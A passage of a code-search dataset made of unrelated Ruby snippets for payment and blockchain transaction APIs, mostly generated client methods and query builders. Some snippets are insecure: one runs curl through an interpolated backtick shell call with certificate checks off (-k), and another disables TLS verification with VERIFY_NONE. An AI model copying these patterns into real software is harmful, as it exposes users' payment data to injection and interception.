params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def query_transaction_with_http_info(sbp_query_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VApi#query_transaction ...\"\n end\n \n # verify the required parameter 'sbp_query_request' is set\n fail \"Missing the required parameter 'sbp_query_request' when calling query_transaction\" if sbp_query_request.nil?\n \n # resource path\n path = \"/v1/transaction/query\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/xml']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(sbp_query_request)\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<SbpResponse>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VApi#query_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.get_transactions ...\"\n end\n # resource path\n local_var_path = \"/transactions\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_invoice'] = opts[:'filter_invoice'] if !opts[:'filter_invoice'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTransactionResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#get_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_programreserve_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProgramReserveApi.get_programreserve_transactions ...'\n end\n # resource path\n local_var_path = '/programreserve/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProgramReserveTransactionListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"ProgramReserveApi.get_programreserve_transactions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProgramReserveApi#get_programreserve_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_query\n {\n params: query\n }\n end", "def to_query\n {\n params: query\n }\n end", "def to_query\n {\n json: query\n }\n end", "def to_query\n {\n json: query\n }\n end", "def transaction_with_http_info(txid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction ...'\n end\n # verify the required parameter 'txid' is set\n if @api_client.config.client_side_validation && txid.nil?\n fail ArgumentError, \"Missing the required parameter 'txid' when calling DefaultApi.transaction\"\n end\n # resource path\n local_var_path = '/api/v1/transaction'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'txid'] = txid\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Transaction' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.get_transactions ...'\n end\n if @api_client.config.client_side_validation && opts[:'transactions_type'] && !['automated', 'manual'].include?(opts[:'transactions_type'])\n fail ArgumentError, 'invalid value for \"transactions_type\", must be one of automated, manual'\n end\n # resource path\n local_var_path = '/transactions'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'external_id'] = opts[:'external_id'] if !opts[:'external_id'].nil?\n query_params[:'sender_id'] = opts[:'sender_id'] if !opts[:'sender_id'].nil?\n query_params[:'transactions_type'] = opts[:'transactions_type'] if !opts[:'transactions_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#get_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_json_query \n # Body of main function\n\n json_query = ''\n field_ops = Array.new\n outfields = Array.new\n \n json_query += self.to_json_query_filter\n\n self.fields.each do |field|\n if field.respond_to?(:operator)\n field_ops << case field.operator\n when :count then\n if field.target.is_a?(DataMapper::Property)\n \"[?#{field.target.field}!=undefined].length\"\n else # field.target is all.\n \".length\"\n end\n when :min\n if field.target.kind_of?(DataMapper::Property::DateTime) || \n field.target.kind_of?(DataMapper::Property::Time) || \n field.target.kind_of?(DataMapper::Property::Date)\n \"[=#{field.target.field}]\"\n else\n \".min(?#{field.target.field})\"\n end\n when :max\n if field.target.kind_of?(DataMapper::Property::DateTime) || \n field.target.kind_of?(DataMapper::Property::Time) || \n field.target.kind_of?(DataMapper::Property::Date)\n \"[=#{field.target.field}]\"\n else\n \".max(?#{field.target.field})\"\n end\n when :sum\n \".sum(?#{field.target.field})\"\n when :avg\n \"[=#{field.target.field}]\"\n end\n else\n outfields << \"'#{field.field}':#{field.field}\"\n end\n end\n\n json_query += field_ops.join(\"\")\n\n json_query += self.to_json_query_ordering\n\n json_query += \"[={\" + outfields.join(',') + \"}]\" unless outfields.empty?\n\n\n # puts json_query, headers\n return json_query, self.json_query_headers\n end", "def transaction_params\n params[:transaction]\n end", "def transaction_params\n params[:transaction]\n end", "def getTransactions\n\t\t\n\tend", "def create_transaction_data(process, money, parameters)\n url = make_url('EntryTran')\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:OrderID] = parameters[:OrderID]\n data[:JobCd] = process\n data[:Amount] = amount(money)\n data[:Tax] = '0'\n\n [url, data.to_query]\n end", "def do_query(params) \n link = @api_url + \"/brief/json/\" + params\n return MultiJson.load( open(link).read )\n end", "def to_query(params)\n p = []\n params.each do |k,v|\n p << \"#{k}=#{v}\"\n end\n\n p.join \"&\"\n end", "def transactions_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_get ...'\n end\n # resource path\n local_var_path = '/api/v1/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = opts[:'addrs'] if !opts[:'addrs'].nil?\n query_params[:'confirmed'] = opts[:'confirmed'] if !opts[:'confirmed'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def query_by_transaction_id(trans_id)\n @PARAM_HASH[\"id\"] = trans_id;\n end", "def transactionById\n results = HTTParty.get(\"http://192.168.99.101:4050/transactions/\" + (params[:id]).to_s)\n render json: results.parsed_response, status: results.code\n end", "def query(transaction_id)\n params = {transaction_id: transaction_id}\n query_response params\n end", "def transaction_params\n params.fetch(:transaction, {}).permit('wallet_id', 'CB_apikey','CB_value', 'CB_amount', 'CS_apikey', 'CS_value', 'CS_amount', 'date')\n end", "def execute_transaction_data(create_response, parameters)\n url = make_url('ExecTran')\n\n data = {}\n data[:Version] = '105'\n data[:AccessID] = create_response[:AccessID]\n data[:AccessPass] = create_response[:AccessPass]\n data[:OrderID] = parameters[:OrderID]\n data[:Method] = '1' # Single lump-sum payment\n data[:CardNo] = parameters[:CardNo]\n data[:Expire] = parameters[:Expire]\n data[:SecurityCode] = parameters[:SecurityCode]\n data[:ClientField1] = clean_client_field(parameters[:ClientField1])\n data[:ClientField2] = clean_client_field(parameters[:ClientField2])\n data[:ClientField3] = clean_client_field(parameters[:ClientField3])\n\n [url, data.to_query]\n end", "def view_log\n transactions = Transaction.sort_user_transactions(params[:user_id]) # sort by created_date\n render json: transactions, each_serializer: TransactionShowSerializer\n end", "def query(params)\n request(Resources::RESOURCE_QUERY, HTTP_METHOD_POST, params)\n end", "def to_query(params)\n params.map{|k,v| \"#{CGI::escape(k.to_s)}=#{CGI::escape(v.to_s)}\"}.join('&')\n end", "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end", "def to_raw_tx\n connection.request self.class.to_create_request, to_params\n end", "def taobao_call(api, params)\n access_params = { \"method\" => api, \n \"timestamp\" => Time.new.to_s(:db),\n \"format\" => \"json\", \n \"app_key\" => $APP_KEY, \n \"v\" => \"2.0\",\n \"sign_method\" => \"md5\"\n }\n params.each{|key, value|\n access_params[key] = value\n }\n access_params[:sign] = sign(access_params, $APP_SECRET)\n p \"#{$PRODUCT_URL + \"?\" + params_to_str(access_params)}\"\n str = `curl '#{$PRODUCT_URL + \"?\" + params_to_str(access_params)}' -k`\n json = ActiveSupport::JSON.decode(str)\n return json\n end", "def to_query\n hash = {:fields => [], :operators => {}, :values => {}}\n active_filters.each do |f|\n hash[:fields] << f.name\n hash[:operators][f.name] = f.operator\n hash[:values][f.name] = f.value\n end\n hash.to_query\n end", "def to_query(params)\n params.map do |key,value|\n \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\"\n end * '&'\n end", "def all_transactions\n json_response(Transaction.all)\n end", "def transaction_service_search_with_http_info(space_id, query, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TransactionService.transaction_service_search ...\"\n end\n # verify the required parameter 'space_id' is set\n fail ArgumentError, \"Missing the required parameter 'space_id' when calling TransactionService.transaction_service_search\" if space_id.nil?\n # verify the required parameter 'query' is set\n fail ArgumentError, \"Missing the required parameter 'query' when calling TransactionService.transaction_service_search\" if query.nil?\n # resource path\n local_var_path = \"/transaction/search\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'spaceId'] = space_id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json;charset=utf-8']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json;charset=utf-8']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(query)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Transaction>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionService#transaction_service_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def query_by_transaction_id(trans_id)\r\n @PARAM_HASH[\"id\"] = trans_id\r\n end", "def query_by_transaction_id(trans_id)\r\n @PARAM_HASH[\"id\"] = trans_id\r\n end", "def transaction_params\n params.require(:transaction).permit(:value, :user_id, :details, :date, :kind)\n end", "def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def build_query(params)\n params.map { |k, v|\n if v.class == Array\n build_query(v.map { |x| [k, x] })\n else\n \"#{escape(k)}=#{escape(v)}\"\n end\n }.join(\"&\")\n end", "def transaction_params\n\t\t\t\tparams.permit(:name, :value, :api_key, :transaction_type)\n\t\t\tend", "def transactions_output(transactions, user)\n output = []\n transactions.each do |transaction|\n output << {\n transaction: transaction,\n balance: transaction.balance,\n balance_partner: transaction.balance.partner_for(user),\n message: transaction.transaction_message(user),\n description: transaction.description,\n creation_date: transaction.created_at.strftime(\" Created on: %-d %B %Y at %k:%M\"),\n edition_date: transaction.updated_at.strftime(\" Updated on: %-d %B %Y at %k:%M\"),\n creator: transaction.creator,\n editor: transaction.editor\n }\n end\n output\n end", "def getTransaction( transaction_id)\n params = Hash.new\n params['transaction_id'] = transaction_id\n return doCurl(\"get\",\"/transaction\",params)\n end", "def user_transactions\n user_deposits = get_user_deposits\n user_withdrawals = get_user_withdrawals\n json_response({:user_transactions => @user_transactions, :user_deposits => user_deposits, :user_withdrawals => user_withdrawals})\n end", "def search_with_http_info(space_id, query, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TransactionService.search ...\"\n end\n # verify the required parameter 'space_id' is set\n fail ArgumentError, \"Missing the required parameter 'space_id' when calling TransactionService.search\" if space_id.nil?\n # verify the required parameter 'query' is set\n fail ArgumentError, \"Missing the required parameter 'query' when calling TransactionService.search\" if query.nil?\n # resource path\n local_var_path = \"/transaction/search\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'spaceId'] = space_id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json;charset=utf-8']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json;charset=utf-8']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n \n # connection timeout\n timeout = @api_client.get_connection_timeout()\n\n # http body (model)\n post_body = @api_client.object_to_http_body(query)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :timeout => timeout,\n :auth_names => auth_names,\n :return_type => 'Array<Transaction>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionService#search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch_wallets_transactions(filters = {})\n MangoPay.request(:get, url() + \"/transactions\", {}, filters)\n end", "def post_programreserve_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProgramReserveApi.post_programreserve_transactions ...'\n end\n # resource path\n local_var_path = '/programreserve/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProgramReserveTransactionResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"ProgramReserveApi.post_programreserve_transactions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProgramReserveApi#post_programreserve_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def createTransaction(toAcc, json)\n\t\turl = \"#{self.urlWithEntity}/#{toAcc}/transactions?key=#{self.apiKey}\"\n\t\turi = URI.parse(url)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\trequest = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' => 'application/json'})\n\t\trequest.body = json\n\t\tresp = http.request(request)\n\tend", "def transaction_request(transaction,total=nil)\n transaction_request = Cielo::TransactionRequest.new\n resul = send_request(transaction_request.serialize(transaction))\n end", "def json_obj(method,params={})\n obj =\n {\n 'jsonrpc'=>'2.0',\n 'method'=>method,\n 'params'=>params,\n 'auth'=>@auth,\n 'id'=>@id\n }\n debug(10, :msg=>\"json_obj: #{obj}\")\n return obj.to_json\n end", "def get_transactions(*params); raise('Stub or mock required.') end", "def query(queryString)\n \t \tcheck_login\n \t\t\tquery = @client.request :query do\n \t \t\t\tsoap.header = { \"SessionHeader\" => { \"session\" => \"#{self.session}\" }}\n \t\t \t\tsoap.body = {\"queryString\" => queryString }\n \t\t\tend\n \t\t\t#query.to_hash\n \t\t\tqr = Zapi::QueryResponse.new(query.to_hash, self)\n \t\t\tqr.objects\n \tend", "def serialize_query\n @query.map { |k,v| \"#{k}=#{v}\" }.join(\"&\")\n end", "def index\n @transactions = Transaction.filter(params.slice(:contact, :transaction_type)).ordered_created_at\n _, transaction_list = pagy(@transactions)\n json_response({\n data: {\n transactions: transaction_list,\n count: @transactions.count\n }\n })\n end", "def transactions\n case params[:name]\n when 'missing'\n @transactions = @set.missing_transactions\n when 'overlapping'\n @transactions = @set.overlapping_transactions\n else\n @transactions = []\n end\n\n respond_to do |format|\n format.js\n format.html\n end\n end", "def get_tx_info(*transaction_ids)\n cmd = if transaction_ids.size > 1\n \"get_tx_info_multi\"\n else\n \"get_tx_info\"\n end\n body = {\n cmd: cmd,\n txid: transaction_ids.join('|'),\n # full: 0 # I don't see any practical use for this\n }\n post body, openstruct: cmd != \"get_tx_info_multi\"\n end", "def transaction(tx_hash)\n call :get, \"/tx/#{tx_hash}\"\n end", "def index\n if params.include? \"start_date\" and params.include? \"end_date\" and !params[\"start_date\"][0].blank? and !params[\"end_date\"][0].blank? \n start_date = Time.parse(params[:start_date][0]).strftime('%y-%m-%d 00:00:00')\n end_date = Time.parse(params[:end_date][0]).strftime('%y-%m-%d 23:59:00')\n\n @transactions = Transaction.where(:tran_date => start_date..end_date).paginate(:page => params[:page], :per_page => 15)\n else\n @transactions = Transaction.paginate(:page => params[:page], :per_page => 15)\n end\n\n\n unless Transaction.last.nil?\n @total = Transaction.last.closing_balance\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def transaction_params\n params.require(:transaction).permit(:trans_type, :details, :particulars, :code, :reference, :amount, :date, :category_id)\n end", "def query_params\n validate_params!\n \n qargs = {\n Ebay::Search::Api::OPERATION_NAME[:key] => Ebay::Search::Api::OPERATION_NAME[:value],\n Ebay::Search::Api::SERVICE_VERSION[:key] => Ebay::Search::Api::SERVICE_VERSION[:value],\n Ebay::Search::Api::SECURITY_APPNAME[:key] => self.app_name,\n Ebay::Search::Api::GLOBAL_ID[:key] => self.global_id,\n Ebay::Search::Api::RESPONSE_DATA_FORMAT[:key] => Ebay::Search::Api::RESPONSE_DATA_FORMAT[:value],\n Ebay::Search::Api::PER_PAGE[:key] => self.per_page,\n Ebay::Search::Api::KEYWORDS[:key] => self.keywords\n }\n \n query_formatter(qargs) do |params|\n params.join(\"&\")\n end\n end", "def transaction_params\n params.require(:transaction).permit(:t_name, :description, :t_type, :t_amount, :account_id)\n end", "def transaction_data_view(searchIdentifier, start_number=1,end_number=100)\n if searchIdentifier\n query({\n :endpoint => '/jsonsdk/TransactionSearchService/getUserTransactions',\n :method => :POST,\n :params => {\n :cobSessionToken => cobrand_token,\n :userSessionToken => token,\n :'searchFetchRequest.searchIdentifier.identifier' => searchIdentifier,\n :'searchFetchRequest.searchResultRange.startNumber' => start_number,\n :'searchFetchRequest.searchResultRange.endNumber' => end_number\n } \n })\n else\n nil\n end\n end", "def tranaactions_request(url_parameters)\n transactions = []\n\n page_number = 1\n\n loop do\n request_result = history_request url: 'history/transactions', api_version: API_V2,\n url_parameters: url_parameters.merge(pageNumber: page_number)\n\n transactions += @dealing_platform.instantiate_models Transaction, request_result.fetch(:transactions)\n\n break if page_number == request_result.fetch(:metadata).fetch(:page_data).fetch(:total_pages)\n\n page_number += 1\n end\n\n transactions\n end", "def show\n @transactions = Transaction.where(user_id: params[:id])\n render json: @transactions\n end", "def create\n result = CreateTransaction.new(transaction_params, @merchant).call\n\n if result.errors?\n render json: { errors: result.errors }, status: :unprocessable_entity\n else\n render json: result.transaction.to_json, status: :created\n end\n end", "def as_json\n {\n resultStart: @start,\n resultLimit: @limit,\n resultSort: @sort,\n resultOrder: @order.to_s,\n calcFoundRows: @calc_found_rows,\n filters: @filters.map(&:as_json),\n fields: @fields,\n }\n end", "def index\n @transactions = Transaction.all\n render json: @transactions\n end", "def transaction\n add_breadcrumb \"Merchants\", epsadmin_merchants_path\n add_breadcrumb \"#{@transc_merchant.first_name}\", epsadmin_merchant_path(@transc_merchant.merchant_uniq_id)\n @epsadmin_transaction_list = @transc_merchant.transactions.order(\"created_at DESC\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @epsadmin_transaction_list }\n end\n end", "def http_build_query(params = {})\n params.collect do |k,v|\n \"#{URI.encode(k.to_s)}=#{URI.encode(v.to_s)}\" unless v.nil?\n end.compact.join('&')\n end", "def transaction\n params[\"TransId\"]\n end", "def index\n @admin_transactions = AdminTransaction.page(params[:page]).per(params[:per])\n render json: @admin_transactions\n end", "def url2json(method, url, params)\n if method == :GET\n url << \"?\" + params.map{|k,v| \"#{k}=#{v}\"}.join(\"&\")\n end\n\t\t\turl = URI.parse url\n\t\t\thttp = Net::HTTP.new(url.host, url.port)\n\t\t\thttp.use_ssl = (url.scheme == 'https')\n\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\thttp.verify_depth = 5\n request = nil\n if method == :GET\n request = Net::HTTP::Get.new(url.request_uri)\n elsif method == :GET_DATA\n request = Net::HTTP::Get.new(url.request_uri)\n form_data = params.to_json\n request.content_type = 'application/json'\n request.body = form_data\n elsif method == :POST\n request = Net::HTTP::Post.new(url.request_uri)\n form_data = params.to_json\n request.content_type = 'application/json'\n request.body = form_data\n elsif method == :DELETE\n request = Net::HTTP::Delete.new(url.request_uri)\n form_data = params.to_json\n request.content_type = 'application/json'\n request.body = form_data\n elsif method == :HEAD\n request = Net::HTTP::Head.new(url.request_uri)\n request.set_form_data(params)\n elsif method == :PUT\n request = Net::HTTP::Put.new(url.request_uri)\n request.set_form_data(params)\n end\n request.basic_auth(@username, @apikey)\n request.add_field(\"User-Agent\", \"Ruby/#{RUBY_VERSION} passivetotal rubygem v#{PassiveTotal::VERSION}\")\n\t\t\tt1 = Time.now\n\t\t\tresponse = http.request(request)\n\t\t\tdelta = (Time.now - t1).to_f\n data = JSON.parse(response.body)\n\n obj = Transaction.new(\n Query.new(method, params['query'], params[method] || params['tag'], url, params),\n Response.new(response.body, response.code == '200', data),\n delta\n )\n\n case response.code\n when \"401\"\n raise InvalidAPIKeyError.new(obj)\n when \"429\"\n raise ExceededQuotaError.new(obj)\n else\n raise APIUsageError.new(obj)\n end\n\n return obj\n end", "def filters_to_query_string(params = {})\n return '' unless params && params.size > 0\n\n params = params.dup\n url_params = {}\n\n Array.wrap(params.delete(:filters)).each_with_index do |filter, i|\n fail \"Bad filter params: #{filter}\" unless filter.is_a?(Hash) && [:field, :operator, :value].all? { |k| filter[k] }\n\n url_params[\"filter[field][#{i}]\".to_sym] = \"#{filter[:field]}\"\n url_params[\"filter[operator][#{i}]\".to_sym] = \"#{filter[:operator]}\"\n url_params[\"filter[value][#{i}]\".to_sym] = \"#{filter[:value]}\"\n end\n\n uri = Addressable::URI.new(query_values: url_params.merge(params))\n \"?#{uri.query}\"\n end", "def transaction_raw_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction_raw ...'\n end\n # resource path\n local_var_path = '/api/v2/transaction/raw'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'txid'] = opts[:'txid'] if !opts[:'txid'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction_raw\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def query_param\n {\n query: ::Kahn::JSON.decode(params.fetch('query', '{}')),\n fields: ::Kahn::JSON.decode(params.fetch('fields', '{}')),\n limit: params.fetch(:limit, 10),\n skip: params.fetch(:skip, 0)\n }\n end", "def as_json(_attr = nil)\n @dt_params.as_json(\n all_items_count,\n filtered_items_count,\n rows(ordered_paginated_filtered_items),\n additional_data_for_json\n )\n end", "def get_transaction_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.get_transaction ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail 